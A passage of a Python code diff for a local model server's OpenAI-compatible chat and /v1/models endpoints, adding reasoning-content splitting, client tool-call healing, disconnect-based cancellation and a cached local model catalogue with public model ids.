+                            # Content is cumulative within a turn and resets
+                            # between turns, so the last event holds the final
+                            # turn's text. As in the safetensors drain, a visible
+                            # preamble emitted before a tool call (its own earlier
+                            # turn) isn't carried -- only the final turn is.
+                            full_text = _strip_tool_xml_for_display(
+                                event.get("text", ""),
+                                auto_heal_tool_calls = _gguf_auto_heal_tool_calls,
+                                enabled_tool_names = _gguf_display_tool_names,
+                            )
+                    return full_text, usage, finish
+                finally:
+                    # Close the generator on early break/cancel so the underlying
+                    # llama-server stream socket is released, like the SSE path.
+                    try:
+                        gen.close()
+                    except (RuntimeError, ValueError):
+                        pass
+
+            try:
+                full_text, completion_usage, completion_finish = await asyncio.to_thread(
+                    _drain_gguf_tool_loop
+                )
+                reasoning_text, visible_text = _extract_responses_reasoning(
+                    full_text,
+                    parse_think_markers = _responses_should_parse_think_markers(
+                        payload, llama_backend
+                    ),
+                )
+                message_kwargs = {"content": visible_text}
+                if reasoning_text:
+                    message_kwargs["reasoning_content"] = reasoning_text
+                _usage = completion_usage or {}
+                _prompt_tokens = _usage.get("prompt_tokens") or 0
+                _completion_tokens = _usage.get("completion_tokens") or 0
+                response = ChatCompletion(
+                    id = completion_id,
+                    created = created,
+                    model = model_name,
+                    choices = [
+                        CompletionChoice(
+                            message = CompletionMessage(**message_kwargs),
+                            finish_reason = _clamp_finish_reason(completion_finish),
+                        )
+                    ],
+                    usage = CompletionUsage(
+                        prompt_tokens = _prompt_tokens,
+                        completion_tokens = _completion_tokens,
+                        total_tokens = _prompt_tokens + _completion_tokens,
+                        prompt_tokens_details = _prompt_tokens_details(
+                            _usage.get("prompt_tokens_details")
+                        ),
+                    ),
+                )
+                api_monitor.set_reply(monitor_id, visible_text)
+                _monitor_usage(
+                    monitor_id,
+                    {
+                        "prompt_tokens": _prompt_tokens,
+                        "completion_tokens": _completion_tokens,
+                        "total_tokens": _prompt_tokens + _completion_tokens,
+                    },
+                    _monitor_context_length(),
+                )
+                api_monitor.finish(
+                    monitor_id, "cancelled" if cancel_event.is_set() else "completed"
+                )
+                return _model_json_response(response)
+            except Exception as e:
+                logger.error(f"Error during GGUF tool completion: {e}", exc_info = True)
+                api_monitor.fail(monitor_id, _friendly_error(e))
+                # Recover if an MTP+tensor crash killed the server.
+                get_llama_cpp_backend()._maybe_recover_from_mtp_crash(e)
+                # An over-context prompt makes llama-server return 400; map any
+                # upstream 4xx to a 400 client error rather than leaking a 500.
+                _cls = _classify_llama_generation_error(e)
+                if _cls is not None:
+                    raise HTTPException(
+                        status_code = 400,
+                        detail = openai_error_body(
+                            _friendly_error(e),
+                            status = 400,
+                            code = "context_length_exceeded" if _cls else None,
+                            param = "messages",
+                        ),
+                    )
+                raise HTTPException(status_code = 500, detail = safe_error_detail(e))
+            finally:
+                _tracker.__exit__(None, None, None)
 
         # ── Standard GGUF path (no tools) ─────────────────────
 
@@ -5193,6 +6612,9 @@ async def openai_chat_completions(
             _tracker.__enter__()
 
             async def gguf_stream_chunks():
+                disconnect_watcher = asyncio.create_task(
+                    _await_disconnect_then_cancel(request, cancel_event)
+                )
                 try:
                     yield _chat_role_chunk(completion_id, created, model_name)
 
@@ -5200,6 +6622,7 @@ async def openai_chat_completions(
                     # stays free for disconnect detection.
                     gen = gguf_generate()
                     prev_text = ""
+                    reasoning_extractor = _new_chat_reasoning_extractor()
                     _stream_usage = None
                     _stream_timings = None
                     _stream_finish = None
@@ -5233,15 +6656,38 @@ async def openai_chat_completions(
                         prev_text = cumulative
                         if not new_text:
                             continue
-                        api_monitor.append_reply(monitor_id, new_text)
-                        yield _chat_content_chunk(completion_id, created, model_name, new_text)
+                        reasoning_delta, visible_delta = reasoning_extractor.feed(new_text)
+                        if reasoning_delta:
+                            yield _gguf_chat_delta_line(
+                                ChoiceDelta(reasoning_content = reasoning_delta)
+                            )
+                        if visible_delta:
+                            api_monitor.append_reply(monitor_id, visible_delta)
+                            yield _gguf_chat_delta_line(ChoiceDelta(content = visible_delta))
 
-                    yield _chat_final_chunk(
-                        completion_id,
-                        created,
-                        model_name,
-                        _clamp_finish_reason(_stream_finish),
+                    final_reasoning, final_visible = reasoning_extractor.finish()
+                    if final_reasoning:
+                        yield _gguf_chat_delta_line(ChoiceDelta(reasoning_content = final_reasoning))
+                    if final_visible:
+                        api_monitor.append_reply(monitor_id, final_visible)
+                        yield _gguf_chat_delta_line(ChoiceDelta(content = final_visible))
+
+                    # Final chunk
+                    final_chunk = ChatCompletionChunk(
+                        id = completion_id,
+                        created = created,
+                        model = model_name,
+                        choices = [
+                            ChunkChoice(
+                                delta = ChoiceDelta(),
+                                finish_reason = _clamp_finish_reason(_stream_finish),
+                            )
+                        ],
                     )
+                    # Emit the terminal chunk carrying finish_reason before the
+                    # optional usage chunk and [DONE], so OpenAI-compatible
+                    # clients can detect stop/length/tool_calls.
+                    yield f"data: {final_chunk.model_dump_json(exclude_none = True)}\n\n"
                     usage_line = _openai_stream_usage_chunk(
                         payload,
                         completion_id,
@@ -5268,9 +6714,19 @@ async def openai_chat_completions(
                     error_chunk = _openai_stream_error_chunk(e)
                     yield f"data: {json.dumps(error_chunk)}\n\n"
                 finally:
+                    await _stop_local_disconnect_cancel_watcher(disconnect_watcher)
                     _tracker.__exit__(None, None, None)
 
-            return _sse_streaming_response(gguf_stream_chunks())
+            return _SameTaskStreamingResponse(
+                gguf_stream_chunks(),
+                unstarted_cleanup = _tracked_cancel_unstarted_cleanup(_tracker),
+                media_type = "text/event-stream",
+                headers = {
+                    "Cache-Control": "no-cache",
+                    "Connection": "close",
+                    "X-Accel-Buffering": "no",
+                },
+            )
         else:
             try:
                 # ``n`` requests several independent completions; the single
@@ -5297,14 +6753,24 @@ async def openai_chat_completions(
                             continue
                         full_text = token
 
+                    reasoning_text, visible_text = _extract_responses_reasoning(
+                        full_text,
+                        parse_think_markers = _responses_should_parse_think_markers(
+                            payload,
+                            llama_backend,
+                        ),
+                    )
+                    message_kwargs = {"content": visible_text}
+                    if reasoning_text:
+                        message_kwargs["reasoning_content"] = reasoning_text
                     _choices.append(
                         CompletionChoice(
                             index = _idx,
-                            message = CompletionMessage(content = full_text),
+                            message = CompletionMessage(**message_kwargs),
                             finish_reason = _clamp_finish_reason(completion_finish),
                         )
                     )
-                    _monitor_replies.append(full_text)
+                    _monitor_replies.append(visible_text)
                     if completion_usage:
                         # The prompt is shared across all n choices, so count its
                         # tokens ONCE (OpenAI bills only generated tokens for each
@@ -5326,7 +6792,7 @@ async def openai_chat_completions(
                         prompt_tokens_details = _prompt_tokens_details(_prompt_details),
                     ),
                 )
-                monitor_reply = full_text
+                monitor_reply = _monitor_replies[-1] if _monitor_replies else ""
                 if _n > 1:
                     monitor_reply = "\n\n".join(
                         f"Choice {_idx + 1}:\n{text}" for _idx, text in enumerate(_monitor_replies)
@@ -5403,6 +6869,25 @@ async def openai_chat_completions(
     _sf_tpl = (_sf_model_info.get("chat_template_info") or {}).get("template")
     _sf_features = _detect_safetensors_features(backend, _sf_tpl)
 
+    # GGUF parity: enable_thinking templates prefill an unclosed <think>; split into
+    # reasoning_content deltas so the UI renders the block for safetensors and MLX.
+    _sf_parse_think = bool(
+        _sf_features.get("supports_reasoning") or _sf_features.get("reasoning_always_on")
+    )
+    # Prefilled-open only for prefill styles with thinking on; gpt-oss uses the normal mode.
+    _sf_reasoning_prefilled = _sf_reasoning_prefill_mode(
+        _sf_features,
+        payload.enable_thinking,
+        _sf_tpl,
+        reasoning_effort = payload.reasoning_effort,
+    )
+
+    def _new_sf_reasoning_extractor():
+        return _ResponsesReasoningExtractor(
+            parse_think_markers = _sf_parse_think,
+            reasoning_prefilled = _sf_reasoning_prefilled,
+        )
+
     cancel_event = threading.Event()
     completion_id = f"chatcmpl-{uuid.uuid4().hex[:12]}"
     created = int(time.time())
@@ -5478,6 +6963,8 @@ async def openai_chat_completions(
         _sf_auto_heal_tool_calls = (
             payload.auto_heal_tool_calls if payload.auto_heal_tool_calls is not None else True
         )
+        # Active tool names gating the bare-rehearsal strip, matching the loop gate.
+        _sf_display_tool_names = _display_tool_name_gate(_sf_tools_to_use)
 
         # Strip stale tool-call XML from prior assistant turns.
         _sf_chat_messages = []
@@ -5489,6 +6976,7 @@ async def openai_chat_completions(
                         "content": _strip_tool_xml_for_display(
                             _msg["content"],
                             auto_heal_tool_calls = _sf_auto_heal_tool_calls,
+                            enabled_tool_names = _sf_display_tool_names,
                         ).strip(),
                     }
                 )
@@ -5509,11 +6997,13 @@ async def openai_chat_completions(
                 min_p = payload.min_p,
                 max_tokens = effective_max_tokens,
                 repetition_penalty = payload.repetition_penalty,
+                presence_penalty = payload.presence_penalty,
                 cancel_event = cancel_event,
                 enable_thinking = payload.enable_thinking,
                 reasoning_effort = payload.reasoning_effort,
                 preserve_thinking = payload.preserve_thinking,
                 auto_heal_tool_calls = _sf_auto_heal_tool_calls,
+                nudge_tool_calls = payload.nudge_tool_calls,
                 max_tool_iterations = _sf_tool_budget,
                 tool_call_timeout = payload.tool_call_timeout
                 if payload.tool_call_timeout is not None
@@ -5536,11 +7026,27 @@ async def openai_chat_completions(
 
         async def sf_tool_stream():
             gen = None
+            disconnect_watcher = asyncio.create_task(
+                _await_disconnect_then_cancel(request, cancel_event)
+            )
             try:
                 yield _chat_role_chunk(completion_id, created, model_name)
 
                 gen = sf_generate_with_tools()
                 prev_text = ""
+                reasoning_extractor = _new_sf_reasoning_extractor()
+
+                def _sf_flush_reasoning():
+                    # Drain the extractor at turn/stream end (mirrors GGUF); only visible text hits the monitor.
+                    fr, fv = reasoning_extractor.finish()
+                    out = []
+                    if fr:
+                        out.append(_chat_reasoning_chunk(completion_id, created, model_name, fr))
+                    if fv:
+                        api_monitor.append_reply(monitor_id, fv)
+                        out.append(_chat_content_chunk(completion_id, created, model_name, fv))
+                    return out
+
                 while True:
                     if cancel_event.is_set():
                         backend.reset_generation_state()
@@ -5557,7 +7063,11 @@ async def openai_chat_completions(
 
                     if event["type"] == "status":
                         if not event["text"]:
+                            # Iteration boundary: flush reasoning, then a fresh prefilled extractor for the next turn.
+                            for _c in _sf_flush_reasoning():
+                                yield _c
                             prev_text = ""
+                            reasoning_extractor = _new_sf_reasoning_extractor()
                         status_data = json.dumps(
                             {
                                 "type": "tool_status",
@@ -5569,7 +7079,11 @@ async def openai_chat_completions(
 
                     if event["type"] in ("tool_start", "tool_end"):
                         if event["type"] == "tool_start":
+                            # Flush reasoning before tool_start so the thinking block closes ahead of the card.
+                            for _c in _sf_flush_reasoning():
+                                yield _c
                             prev_text = ""
+                            reasoning_extractor = _new_sf_reasoning_extractor()
                         yield f"data: {json.dumps(event)}\n\n"
                         continue
 
@@ -5578,14 +7092,24 @@ async def openai_chat_completions(
                     clean_cumulative = _strip_tool_xml_for_display(
                         raw_cumulative,
                         auto_heal_tool_calls = _sf_auto_heal_tool_calls,
+                        enabled_tool_names = _sf_display_tool_names,
                     )
                     new_text = clean_cumulative[len(prev_text) :]
                     prev_text = clean_cumulative
                     if not new_text:
                         continue
-                    api_monitor.append_reply(monitor_id, new_text)
-                    yield _chat_content_chunk(completion_id, created, model_name, new_text)
+                    # Split reasoning vs visible; only visible reaches the monitor.
+                    reasoning_delta, visible_delta = reasoning_extractor.feed(new_text)
+                    if reasoning_delta:
+                        yield _chat_reasoning_chunk(
+                            completion_id, created, model_name, reasoning_delta
+                        )
+                    if visible_delta:
+                        api_monitor.append_reply(monitor_id, visible_delta)
+                        yield _chat_content_chunk(completion_id, created, model_name, visible_delta)
 
+                for _c in _sf_flush_reasoning():
+                    yield _c
                 yield _chat_final_chunk(completion_id, created, model_name, "stop")
                 # Usage chunk from the last turn, same shape as the
                 # GGUF tool loop's metadata. Request-scoped holder, so
@@ -5627,6 +7151,7 @@ async def openai_chat_completions(
                 }
                 yield f"data: {json.dumps(error_chunk)}\n\n"
             finally:
+                await _stop_local_disconnect_cancel_watcher(disconnect_watcher)
                 if gen is not None:
                     try:
                         gen.close()
@@ -5635,7 +7160,16 @@ async def openai_chat_completions(
                 _sf_tracker.__exit__(None, None, None)
 
         if payload.stream:
-            return _sse_streaming_response(sf_tool_stream())
+            return _SameTaskStreamingResponse(
+                sf_tool_stream(),
+                unstarted_cleanup = _tracked_cancel_unstarted_cleanup(_sf_tracker),
+                media_type = "text/event-stream",
+                headers = {
+                    "Cache-Control": "no-cache",
+                    "Connection": "close",
+                    "X-Accel-Buffering": "no",
+                },
+            )
 
         # Non-streaming JSON: drain the loop, build one ChatCompletion.
         try:
@@ -5650,22 +7184,32 @@ async def openai_chat_completions(
                         full_text = _strip_tool_xml_for_display(
                             event.get("text", ""),
                             auto_heal_tool_calls = _sf_auto_heal_tool_calls,
+                            enabled_tool_names = _sf_display_tool_names,
                         )
                 return full_text
 
             content_text = await asyncio.to_thread(_drain_to_text)
-            api_monitor.set_reply(monitor_id, content_text)
+            # Split prefilled <think> out of the visible answer (GGUF parity); the monitor gets visible text only.
+            _reasoning_text, _visible_text = _extract_responses_reasoning(
+                content_text,
+                parse_think_markers = _sf_parse_think,
+                reasoning_prefilled = _sf_reasoning_prefilled,
+            )
+            api_monitor.set_reply(monitor_id, _visible_text)
             _stats = _sf_stats_holder.get("stats")
             if _stats:
                 _monitor_usage(monitor_id, _stats.get("usage"))
             api_monitor.finish(monitor_id, "cancelled" if cancel_event.is_set() else "completed")
+            _sf_msg_kwargs = {"content": _visible_text}
+            if _reasoning_text:
+                _sf_msg_kwargs["reasoning_content"] = _reasoning_text
             response = ChatCompletion(
                 id = completion_id,
                 created = created,
                 model = model_name,
                 choices = [
                     CompletionChoice(
-                        message = CompletionMessage(content = content_text),
+                        message = CompletionMessage(**_sf_msg_kwargs),
                         finish_reason = "stop",
                     )
                 ],
@@ -5699,6 +7243,7 @@ async def openai_chat_completions(
         min_p = payload.min_p,
         max_new_tokens = effective_max_tokens or 2048,
         repetition_penalty = payload.repetition_penalty,
+        presence_penalty = payload.presence_penalty,
     )
     # Forward reasoning kwargs; the worker/template wrapper peels off any the
     # template doesn't accept.
@@ -5709,25 +7254,87 @@ async def openai_chat_completions(
     if payload.preserve_thinking is not None:
         gen_kwargs["preserve_thinking"] = payload.preserve_thinking
 
+    # ── Client-tool passthrough (safetensors + MLX) ──────────────
+    # Client tools (or tool-result history) without server-side tools: render
+    # tools into the template, generate one turn, heal text-form calls (#6801).
+    # supports_tools=False falls through to plain relay (GGUF gate parity).
+    _sf_has_tool_msgs = any(m.role == "tool" or m.tool_calls for m in payload.messages)
+    # Gate on _sf_use_tools (did the server-side path claim the request?), not
+    # raw mcp_enabled: an empty MCP registry must not silently drop client tools.
+    _sf_client_tools = (
+        not _effective_enable_tools(payload)
+        and not _sf_use_tools
+        and image is None
+        and not _sf_is_gptoss
+        and _sf_features.get("supports_tools", False)
+        and ((payload.tools and len(payload.tools) > 0) or _sf_has_tool_msgs)
+    )
+    _sf_heal = (
+        heal_gate(payload.auto_heal_tool_calls, payload.tools, payload.tool_choice)
+        if _sf_client_tools
+        else None
+    )
+    if _sf_client_tools:
+        # Re-derive from payload.messages so tool_calls / role="tool" history
+        # survives templating; fold system/developer into one leading system
+        # message (templates reject "developer") and clear prompt to avoid a dup.
+        gen_kwargs["messages"] = _set_or_prepend_system_message(
+            _structured_tool_history_for_local_template(
+                _flatten_content_parts_for_local_template(_openai_messages_for_passthrough(payload))
+            ),
+            system_prompt,
+        )
+        gen_kwargs["system_prompt"] = ""
+        # tool_choice="none": keep history templating but advertise no tools
+        # (heal_gate is off, markup would relay as prose). A forced function
+        # narrows templating to that one schema. Both mirror the GGUF path,
+        # where llama-server honors tool_choice itself.
+        _sf_tc = payload.tool_choice
+        _sf_forced = None
+        if isinstance(_sf_tc, dict) and isinstance(_sf_tc.get("function"), dict):
+            _sf_forced = _sf_tc["function"].get("name")
+        if _sf_tc == "none":
+            gen_kwargs["tools"] = None
+        elif isinstance(_sf_forced, str):
+            gen_kwargs["tools"] = [
+                t
+                for t in payload.tools or []
+                if isinstance(t, dict)
+                and isinstance(t.get("function"), dict)
+                and t["function"].get("name") == _sf_forced
+            ] or None
+        else:
+            gen_kwargs["tools"] = payload.tools
+
     # Request-scoped usage/timings receptacle (filled at gen_done).
     stats_holder: dict = {}
 
     if payload.use_adapter is not None:
 
-        def generate():
+        def generate(messages_override = None):
+            kw = (
+                gen_kwargs
+                if messages_override is None
+                else {**gen_kwargs, "messages": messages_override}
+            )
             return backend.generate_with_adapter_control(
                 use_adapter = payload.use_adapter,
                 cancel_event = cancel_event,
                 stats_holder = stats_holder,
-                **gen_kwargs,
+                **kw,
             )
     else:
 
-        def generate():
+        def generate(messages_override = None):
+            kw = (
+                gen_kwargs
+                if messages_override is None
+                else {**gen_kwargs, "messages": messages_override}
+            )
             return backend.generate_chat_response(
                 cancel_event = cancel_event,
                 stats_holder = stats_holder,
-                **gen_kwargs,
+                **kw,
             )
 
     # ── Streaming response ────────────────────────────────────────
@@ -5737,10 +7344,20 @@ async def openai_chat_completions(
         _tracker.__enter__()
 
         async def stream_chunks():
+            disconnect_watcher = asyncio.create_task(
+                _await_disconnect_then_cancel(request, cancel_event)
+            )
             try:
                 yield _chat_role_chunk(completion_id, created, model_name)
 
+                # Client-tool passthrough: heal text-form calls on the fly
+                # (None => relay verbatim).
+                healer = StreamToolCallHealer(_sf_heal, payload.tools) if _sf_heal else None
+                heal_state = {"idx": 0}
+
                 prev_text = ""
+                # Split prefilled <think> into reasoning_content deltas (GGUF parity); single turn, serves MLX.
+                reasoning_extractor = _new_sf_reasoning_extractor()
                 # Run the sync generator in a thread pool to avoid blocking the
                 # event loop. Critical for compare mode: two SSE requests arrive
                 # concurrently but the orchestrator serializes them via
@@ -5769,10 +7386,76 @@ async def openai_chat_completions(
                     prev_text = cumulative
                     if not new_text:
                         continue
-                    api_monitor.append_reply(monitor_id, new_text)
-                    yield _chat_content_chunk(completion_id, created, model_name, new_text)
+                    # Split prefilled <think> reasoning first (GGUF/MLX parity),
+                    # then route only the visible text through the client-tool
+                    # healer so tool markup inside a reasoning block is not promoted.
+                    reasoning_delta, visible_delta = reasoning_extractor.feed(new_text)
+                    if reasoning_delta:
+                        yield _chat_reasoning_chunk(
+                            completion_id, created, model_name, reasoning_delta
+                        )
+                    if visible_delta:
+                        if healer is None:
+                            # Monitor mirrors the verbatim relay; with healing on,
+                            # _sf_heal_events_to_sse records the healed events instead.
+                            api_monitor.append_reply(monitor_id, visible_delta)
+                            yield _chat_content_chunk(
+                                completion_id, created, model_name, visible_delta
+                            )
+                        else:
+                            for line in _sf_heal_events_to_sse(
+                                healer.feed(visible_delta),
+                                completion_id,
+                                created,
+                                model_name,
+                                heal_state,
+                                payload.parallel_tool_calls,
+                                monitor_id,
+                            ):
+                                yield line
 
-                yield _chat_final_chunk(completion_id, created, model_name, "stop")
+                final_reasoning, final_visible = reasoning_extractor.finish()
+                if final_reasoning:
+                    yield _chat_reasoning_chunk(completion_id, created, model_name, final_reasoning)
+                if final_visible:
+                    if healer is None:
+                        api_monitor.append_reply(monitor_id, final_visible)
+                        yield _chat_content_chunk(completion_id, created, model_name, final_visible)
+                    else:
+                        for line in _sf_heal_events_to_sse(
+                            healer.feed(final_visible),
+                            completion_id,
+                            created,
+                            model_name,
+                            heal_state,
+                            payload.parallel_tool_calls,
+                            monitor_id,
+                        ):
+                            yield line
+
+                # A cancelled stream must not promote buffered-but-incomplete
+                # markup: finalize()'s allow_incomplete heal would execute a tool
+                # the user just cancelled. Disconnect returns earlier; "Stop" only
+                # sets cancel_event, so guard on it here too.
+                _cancelled = cancel_event.is_set()
+                if healer is not None and not _cancelled:
+                    for line in _sf_heal_events_to_sse(
+                        healer.finalize(),
+                        completion_id,
+                        created,
+                        model_name,
+                        heal_state,
+                        payload.parallel_tool_calls,
+                        monitor_id,
+                    ):
+                        yield line
+
+                _finish = (
+                    "tool_calls"
+                    if (healer is not None and not _cancelled and healer.healed)
+                    else "stop"
+                )
+                yield _chat_final_chunk(completion_id, created, model_name, _finish)
                 # Usage chunk (choices=[], usage set), same shape as the
                 # GGUF path so the speed popover works for MLX too.
                 # Request-scoped holder, so concurrent streams cannot
@@ -5813,9 +7496,19 @@ async def openai_chat_completions(
                 }
                 yield f"data: {json.dumps(error_chunk)}\n\n"
             finally:
+                await _stop_local_disconnect_cancel_watcher(disconnect_watcher)
                 _tracker.__exit__(None, None, None)
 
-        return _sse_streaming_response(stream_chunks())
+        return _SameTaskStreamingResponse(
+            stream_chunks(),
+            unstarted_cleanup = _tracked_cancel_unstarted_cleanup(_tracker),
+            media_type = "text/event-stream",
+            headers = {
+                "Cache-Control": "no-cache",
+                "Connection": "close",
+                "X-Accel-Buffering": "no",
+            },
+        )
 
     # ── Non-streaming response ────────────────────────────────────
     else:
@@ -5824,18 +7517,96 @@ async def openai_chat_completions(
             for token in generate():
                 full_text = token
 
+            # Split prefilled <think> reasoning (GGUF parity); also covers MLX via
+            # the shared generate(). Client-tool healing then runs on the visible
+            # text so tool markup inside a reasoning block is never promoted.
+            _reasoning_text, _visible_text = _extract_responses_reasoning(
+                full_text,
+                parse_think_markers = _sf_parse_think,
+                reasoning_prefilled = _sf_reasoning_prefilled,
+            )
+            # Client-tool passthrough: promote text-form calls; opt-in single
+            # nudge retry on unparseable tool markup.
+            _msg = {"role": "assistant", "content": _visible_text}
+            if _reasoning_text:
+                _msg["reasoning_content"] = _reasoning_text
+            _finish = "stop"
+            if _sf_heal:
+                if heal_openai_message(_msg, _sf_heal, payload.tools):
+                    _finish = "tool_calls"
+                elif nudge_enabled(payload.nudge_tool_calls):
+                    _data = {
+                        "choices": [{"message": {"role": "assistant", "content": _visible_text}}]
+                    }
+                    if nudge_should_retry(_data, _sf_heal, payload.tools):
+                        # A failed retry must not 500 the request; keep the first
+                        # response (GGUF nudge parity). The retry's generate()
+                        # overwrites stats_holder, so save the first attempt's stats
+                        # and restore them if the retry is discarded.
+                        _first_stats = stats_holder.get("stats")
+                        try:
+                            retry_text = ""
+                            for token in generate(
+                                [*gen_kwargs["messages"], *nudge_messages(_data, _sf_heal)]
+                            ):
+                                retry_text = token
+                            # Re-split reasoning on the retry so its visible text is
+                            # what heals into a call (and reaches the monitor).
+                            _retry_reasoning, _retry_visible = _extract_responses_reasoning(
+                                retry_text,
+                                parse_think_markers = _sf_parse_think,
+                                reasoning_prefilled = _sf_reasoning_prefilled,
+                            )
+                            retry_msg = {"role": "assistant", "content": _retry_visible}
+                            if _retry_reasoning:
+                                retry_msg["reasoning_content"] = _retry_reasoning
+                            if heal_openai_message(retry_msg, _sf_heal, payload.tools):
+                                _visible_text, _msg, _finish = (
+                                    _retry_visible,
+                                    retry_msg,
+                                    "tool_calls",
+                                )
+                            else:
+                                # Retry produced no healable call -> first response wins.
+                                stats_holder["stats"] = _first_stats
+                        except Exception as retry_exc:
+                            logger.debug(
+                                "Nudge retry failed; keeping first response: %s", retry_exc
+                            )
+                            stats_holder["stats"] = _first_stats
+                # parallel_tool_calls=false: cap to one call (GGUF parity).
+                if payload.parallel_tool_calls is False:
+                    _tcs = _msg.get("tool_calls")
+                    if isinstance(_tcs, list) and len(_tcs) > 1:
+                        _msg["tool_calls"] = _tcs[:1]
+
             response = ChatCompletion(
                 id = completion_id,
                 created = created,
                 model = model_name,
                 choices = [
                     CompletionChoice(
-                        message = CompletionMessage(content = full_text),
-                        finish_reason = "stop",
+                        message = CompletionMessage(
+                            content = _msg["content"],
+                            reasoning_content = _msg.get("reasoning_content"),
+                            tool_calls = _msg.get("tool_calls"),
+                        ),
+                        finish_reason = _finish,
                     )
                 ],
             )
-            api_monitor.set_reply(monitor_id, full_text)
+            _monitor_reply = _msg.get("content") or ""
+            if _finish == "tool_calls":
+                _tcs = _msg.get("tool_calls") or []
+                _calls_text = "; ".join(
+                    f"{(tc.get('function') or {}).get('name', '')}"
+                    f"({(tc.get('function') or {}).get('arguments', '')})"
+                    for tc in _tcs
+                )
+                _monitor_reply = (_msg.get("content") or "") + (
+                    f"[tool_calls] {_calls_text}" if _calls_text else ""
+                )
+            api_monitor.set_reply(monitor_id, _monitor_reply)
             _stats = stats_holder.get("stats")
             if _stats:
                 _monitor_usage(monitor_id, _stats.get("usage"))
@@ -5927,6 +7698,9 @@ async def serve_sandbox_file(
 # OpenAI-Compatible Models Listing  (/models → /v1/models)
 # =====================================================================
 
+# `owned_by` marker on every /v1/models entry (loaded and available alike).
+_OWNED_BY = "unsloth-studio"
+
 
 def _openai_model_objects() -> list[dict]:
     """The model objects GET /v1/models exposes (one per loaded local backend).
@@ -5940,11 +7714,16 @@ def _openai_model_objects() -> list[dict]:
     # Check GGUF backend
     llama_backend = get_llama_cpp_backend()
     if llama_backend.is_loaded:
+        # Advertise the repo id an auto-switch load recorded, not the concrete
+        # on-disk load path, so /v1/models never leaks a host path or lists a
+        # model twice (path plus repo id).
         entry = {
-            "id": llama_backend.model_identifier,
+            # Advertised repo id after an auto-switch load, else a clean public id,
+            # never the absolute .gguf path (which leaks the host filesystem layout).
+            "id": _llama_public_model_id(llama_backend),
             "object": "model",
             "created": _created,
-            "owned_by": "local",
+            "owned_by": _OWNED_BY,
         }
         _ctx = _positive_int_or_none(getattr(llama_backend, "context_length", None))
         if _ctx is not None:
@@ -5962,10 +7741,10 @@ def _openai_model_objects() -> list[dict]:
     if backend.active_model_name:
         model_info = backend.models.get(backend.active_model_name, {})
         entry = {
-            "id": backend.active_model_name,
+            "id": public_model_id(backend.active_model_name),
             "object": "model",
             "created": _created,
-            "owned_by": "local",
+            "owned_by": _OWNED_BY,
         }
         _ctx = _positive_int_or_none(model_info.get("context_length"))
         if _ctx is None:
@@ -5983,15 +7762,108 @@ def _openai_model_objects() -> list[dict]:
     return models
 
 
+# Brief cache for the local-model filesystem scan so repeated /v1/models calls
+# don't rescan the HF cache and models dirs on every request.
+_CATALOG_CACHE: dict = {"at": 0.0, "models": []}
+_CATALOG_TTL_S = 30.0
+# Per-loop lock (like _auto_switch_lock): a module-level asyncio.Lock ties its
+# waiters to the loop that first awaited it, so a second event loop awaiting it
+# in a multi-loop ASGI process can hang. The cache double-check keeps correctness
+# even when two loops each scan once.
+_catalog_locks: "weakref.WeakKeyDictionary" = weakref.WeakKeyDictionary()
+_catalog_locks_guard = threading.Lock()
+
+
+def _catalog_lock() -> asyncio.Lock:
+    loop = asyncio.get_running_loop()
+    with _catalog_locks_guard:
+        lock = _catalog_locks.get(loop)
+        if lock is None:
+            lock = _catalog_locks[loop] = asyncio.Lock()
+        return lock
+
+
+async def _cached_local_catalog() -> list:
+    """Locally available models (models dir + HF caches + LM Studio + scan
+    folders), cached for a few seconds. Returns a list of LocalModelInfo.
+
+    The scan walks several directories and stats many files, so it runs in a
+    worker thread (asyncio.to_thread) -- calling it inline would block the event
+    loop and stall every concurrent request and in-flight inference stream. A
+    lock with a double-check collapses a burst of simultaneous /v1/models calls
+    into a single scan instead of one per request."""
+    # Validity is keyed on "at" (set only after a scan), not on list contents, so
+    # an empty/errored scan is still cached instead of rescanning on every poll.
+    now = time.monotonic()
+    if _CATALOG_CACHE["at"] and (now - _CATALOG_CACHE["at"]) <= _CATALOG_TTL_S:
+        return _CATALOG_CACHE["models"]
+    async with _catalog_lock():
+        now = time.monotonic()
+        if _CATALOG_CACHE["at"] and (now - _CATALOG_CACHE["at"]) <= _CATALOG_TTL_S:
+            return _CATALOG_CACHE["models"]
+        try:
+            from routes.models import collect_local_models
+            _CATALOG_CACHE["models"] = await asyncio.to_thread(
+                collect_local_models, Path("./models").resolve()
+            )
+        except Exception as exc:
+            logger.debug("model catalog scan failed: %s", exc)
+            _CATALOG_CACHE["models"] = []
+        # Stamp after the scan, not the pre-scan "now": a scan slower than the TTL
+        # would otherwise leave the cache already expired, so every waiter rescans.
+        _CATALOG_CACHE["at"] = time.monotonic()
+    return _CATALOG_CACHE["models"]
+
+
+async def _openai_catalog_objects() -> list[dict]:
+    """Every model the server knows about for ``GET /v1/models``: the loaded
+    model(s) plus locally available (downloaded/cached) models discovered by
+    scanning. Loaded entries keep their context fields and are marked
+    ``loaded: true``. All ids are clean public ids (never absolute paths)."""
+    _created = int(time.time())
+    # Loaded models first (clean ids + context fields), marked loaded.
+    by_id: dict[str, dict] = {}
+    for entry in _openai_model_objects():
+        by_id[entry["id"]] = {**entry, "loaded": True}
+
+    # Locally available (downloaded/cached) models that are not already loaded.
+    # Advertise only GGUF models /v1 can actually serve (llama.cpp). GGUF-ness is
+    # read from the on-disk files, not model_format: the HF-cache scanner leaves
+    # model_format unset for GGUF snapshots, so a model_format filter would drop
+    # every cached GGUF. The file checks run off the loop.
+    from core.inference.local_model_resolver import info_has_local_gguf
+
+    catalog = await _cached_local_catalog()
+    servable = await asyncio.to_thread(lambda: [i for i in catalog if info_has_local_gguf(i)])
+    for info in servable:
+        cid = getattr(info, "model_id", None) or public_model_id(getattr(info, "id", None))
+        if not cid or cid in by_id:
+            continue
+        obj = {
+            "id": cid,
+            "object": "model",
+            "created": _created,
+            "owned_by": _OWNED_BY,
+            "loaded": False,
+        }
+        display = getattr(info, "display_name", None)
+        if display:
+            obj["display_name"] = display
+        by_id[cid] = obj
+
+    return list(by_id.values())
+
+
 @router.get("/models")
 async def openai_list_models(current_subject: str = Depends(get_current_subject)):
     """
-    OpenAI-compatible model listing endpoint.
+    OpenAI-compatible model listing endpoint (``GET /v1/models``).
 
-    Returns the currently loaded model in the format expected by
-    OpenAI-compatible clients (``GET /v1/models``).
+    Lists every model available on this server -- the loaded model(s) plus
+    locally available (downloaded/cached) models -- not only what is resident in
+    memory. Each entry carries a clean public id and a ``loaded`` flag.
     """
-    return {"object": "list", "data": _openai_model_objects()}
+    return {"object": "list", "data": await _openai_catalog_objects()}
 
 
 @router.get("/models/{model_id:path}")
